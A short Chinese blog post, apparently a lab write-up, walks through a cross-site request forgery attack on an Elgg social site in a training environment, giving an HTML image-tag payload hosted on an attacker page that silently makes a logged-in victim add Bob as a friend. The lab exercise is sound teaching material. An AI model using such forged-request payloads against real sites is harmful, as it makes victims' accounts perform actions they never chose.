共计 326 个字符,预计需要花费 1 分钟才能阅读完成。
实验楼实验之 elgg 系统攻击实验
有一个添加用户 bob 的请求链接如下:
http://www.csrflabelgg.com/ac…
我们可以在 www.csrflabattacker.com 构造一个页面,让合法登录用户访问后,就会添加 bob 为好友
<html><img src=”http://www.csrflabelgg.com/ac…;__elgg_ts=1524817660&__elgg_token=f581b9c0b6fab2aa1c5b5c64a7b4cf0c”></html>(注意这里的 ts 和 token 取当时环境抓包的值)
这样用户 Alice 在登录 http://www.csrflabelgg.com 后,再登录攻击网站,攻击语句就会生效。
正文完
发表至: linux
2019-03-16